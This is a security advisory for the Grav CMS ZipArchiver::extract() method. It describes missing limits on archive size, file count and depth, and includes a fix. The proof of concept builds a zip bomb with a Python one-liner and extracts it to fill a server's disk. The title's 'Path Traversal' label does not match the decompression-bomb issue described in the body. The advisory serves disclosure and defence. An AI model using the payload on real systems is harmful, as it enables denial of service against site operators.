GHSA-928x-9mpw-8h56: Path Traversal

Published Sep 2, 2026
·
Updated

Summary ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.

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Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }

// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }

$zip->close(); return $this; } }

What's missing vs Installer::unZip():

| Protection | Installer::unZip() | ZipArchiver::extract() | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.

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Proof of Concept

Step 1 - Create a zip bomb

bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIPDEFLATED) zeros = b'\x00' (1024 1024 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB

Step 2 - Extract via ZipArchiver

php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).

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Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.

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Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;

for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;

// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }

// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;

$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }

if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }

if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } }

Affected Software

1 affected componentFixes available
composer/getgrav/grav<2.0.1
2.0.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.1
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch GHSA-2vcx
  3. Configuration

    In ZipArchiver::extract(), add the same archive limits validation used by Installer::unZip(): check max nesting depth (maxDepth), max file count (maxFiles), and max uncompressed size (maxSize) BEFORE extracting any entries, and reject extraction if any limit is exceeded (decompression bomb guards).

    Grav ZipArchiver (system/src/Grav/Common/Filesystem/ZipArchiver.php) archiveLimits() validation + decompression bomb guards (maxFiles, maxDepth, maxSize) applied before extraction = enabled
  4. Compensating control

    Extract user-supplied ZIP archives into a non-web-root directory (or separate partition/container) so disk-fill denial of service from an expanded zip bomb does not take down the site.

Event History

Sep 2, 2026
Advisory Published
via GitHub·09:35 PM
Data Sourced
via GitHub·09:35 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does the protection in Installer::unZip() also protect archive extraction through this path?

No. The limits added to Installer::unZip() do not cover the separate ZipArchiver::extract() code path, which remains without limits on uncompressed size, file count, or nesting depth.

2

What level of access does an attacker need to exploit this issue?

The supplied vector indicates network-reachable exploitation with low privileges and no user interaction required. Exploitation depends on the attacker being able to cause processing of a crafted ZIP archive through ZipArchiver::extract().

3

What is the expected impact of a malicious archive?

A crafted ZIP archive can consume excessive resources during extraction because the method extracts entries without size, count, or nesting-depth limits. The stated impact is availability loss; no confidentiality or integrity impact is indicated.

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